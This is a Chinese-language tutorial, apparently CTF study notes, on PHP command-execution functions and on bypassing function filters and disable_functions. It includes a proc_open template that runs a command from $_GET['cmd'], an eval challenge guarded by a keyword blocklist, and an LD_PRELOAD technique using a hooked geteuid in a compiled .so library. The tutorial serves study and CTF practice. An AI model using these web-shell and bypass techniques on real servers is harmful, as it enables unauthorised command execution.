PHP命令执行

参见B站视频:

https://www.bilibili.com/video/BV1tG4y1c7Vb

# 常见命令执行危险函数

常见函数:system exec passthru shell_exec 反引号 popen proc_open pcntl_exec

重点关注如何运行 运行条件 参数 能否回显

# system

语法结构:

system(string $command,int &$return_var = ?)

参数command:执行的命令

参数return_var:可选,作用是返回运行后状态到变量里(0成功,1失败)

特点:直接有回显

# exec

语法结构

exec(string $command,array &$output = ?,int &$return_var = ?)

参数command:执行的命令,单独使用只有最后一行的结果,且不回显

参数output:用命执行的输出填充此数组。每行输出填充为一个元素(即逐行填充数组)

可组合var_dump使用得到全部回显

参数return_var:可选,作用是返回运行后状态到变量里(0成功,1失败)

特点:回显只有最后一行

# passthru

语法结构

passthru(string $command,int &$return_var = ?)

参数command:执行的命令

参数return_var:可选,作用是返回运行后状态到变量里(0成功,1失败)

特点:有回显,输出二进制数据且需要直接传送的服务器

# shell_exec

语法结构

shell_exec(sting $cmd)

参数cmd:执行的命令

可借助echo、print回显

特点:无回显

# 反引号「`」

语法结构

echo `$cmd`

参数cmd:执行的命令

可借助echo、print回显

特点:无回显

# popen

语法结构

popen(string $command,string $mode)

参数command:执行的命令

参数mode:模式,r表读,w表写(w模式支持自动回显)

特点:默认无回显,其写入临时进程里,使用fgets或者fread获取内容再用print_r输出

用例

<?php
$cmd = "dir";
$ben = popen($cmd,'r');
while($s=fgets($ben)){
    print_r($s);
}
?>
<?php
$cmd = "dir";
$ben = popen($cmd,'r');
echo fread($ben,4096);
?>
<?php
$cmd = "dir";
$ben = popen($cmd,'w');
?>

# proc_open

语法结构

proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)

参数command:执行的命令

参数descriptor_spec:定义数组内容

参数pipes:调用数组内容

特点:默认无回显

使用模板:

<?php
$cmd = $_GET["cmd"];//执行命令内容
$array =   array(
    array("pipe","r"),   //标准输入
    array("pipe","w"),   //标准输出内容
    array("file","/tmp/error-output.txt","a")    //标准输出错误
);

$fp = proc_open($cmd,$array,$pipes);   //打开一个进程通道
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是代表输出内容
proc_close($fp);
?>

# pcntl_exec

语法结构

pcntl_exec(string $path,array $args = ?,array $envs = ?)

参数path:必须是可以执行的二进制文件的路径,或者在文件第一行指定了某可执行文件路径标头的脚本(如#!/usr/local/bin/perl的perl脚本)

参数args:是要传递给程序的参数的字符串数组(如-l -r

参数envs:是传递给程序作为环境变量的字符串数组,格式为 key => value(key是要传递的环境变量的名称,value是环境变量值)

特点:使用前需要装pcntl_exec模块

# 替换绕过函数过滤

例题1

<?php
if(isset($_GET['cmd'])){
    $c = $_GET['cmd'];
    if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
        eval($c);
    }
    else{
        echo "你是黑客么?";
    }
}

方法1:使用漏掉的函数如passthru

方法2:文件包含

# LD_PRELOAD 绕过

使用场景:disable_functions里禁用的所用可能用的到的命令执行函数

前置知识:程序的链接

静态链接:在程序运行前,将各个目标木块以及所需要的库函数链接成一个完整的可执行函数,之后不再拆开

动态链接:源程序编译后,所得到的一组目标模块,在装入内存时,边装入边链接

运行时动态链接:源程序编译后的目标木块,在程序执行过程中需要使用到才对其链接

对于动态链接来说需要一个动态链接库,其作用在于当动态库中的函数发生变化时,对于可执行来说是透明的,可执行的无需重新编译,方便程序的发布/维护/更新

假如动态链接加载的函数是恶意的,就有可能导致disable_function被绕过

绕过条件:

  • 能够上传.so文件
  • 能够控制环境变量的值(设置LD_PRELOAD变量,如putenv函数未被禁止)
  • 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动需要加载LD_PRELOAD中.so文件:常用如mail() imap_mail() mb_send_mail() error_log()

函数介绍:

LD_PRELOAD:修改库文件

他可以影响程序运行时的链接,允许你定义在程序前优先加载的动态链接库

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载甚至覆盖别的动态链接库

mail:内嵌在PHP里

imagick:需要扩展安装

执行流程:

创建**/demo.php**

<?php
mail(",",",");
?>

把demo.php执行的动作以文本的方式放在1.txt

# strace -o 1.txt -f php demo.php

检查调用了哪些子程序

# cat 1.txt | grep execve

image-20241116235108842

注意到/usr/sbin/sendmail

查看sendmail调用了哪些库文件

# readelf -Ws /usr/sbin/sendemail

image-20241116235353343

注意到geteuid

c语言编译一个库文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
	system("echo '有内鬼,停止发邮件'");
}
int geteuid(){// 生成动作getuid,执行payload
	unsetnv("LD_PRELOAD");// 结束调用
	payload();
}

编译成.so文件,生成动态链接库文件demo.c

# gcc -shared -fPIC demo.c -o demo.so

修改**/demo.php**

<?php
putenv("LD_PRELOAD=./demo.so");// 加载动态库文件
mail(",",",");
?>

执行**/demo.php**指令执行

网站的管理员,似乎是个萌新🤔,CTBUer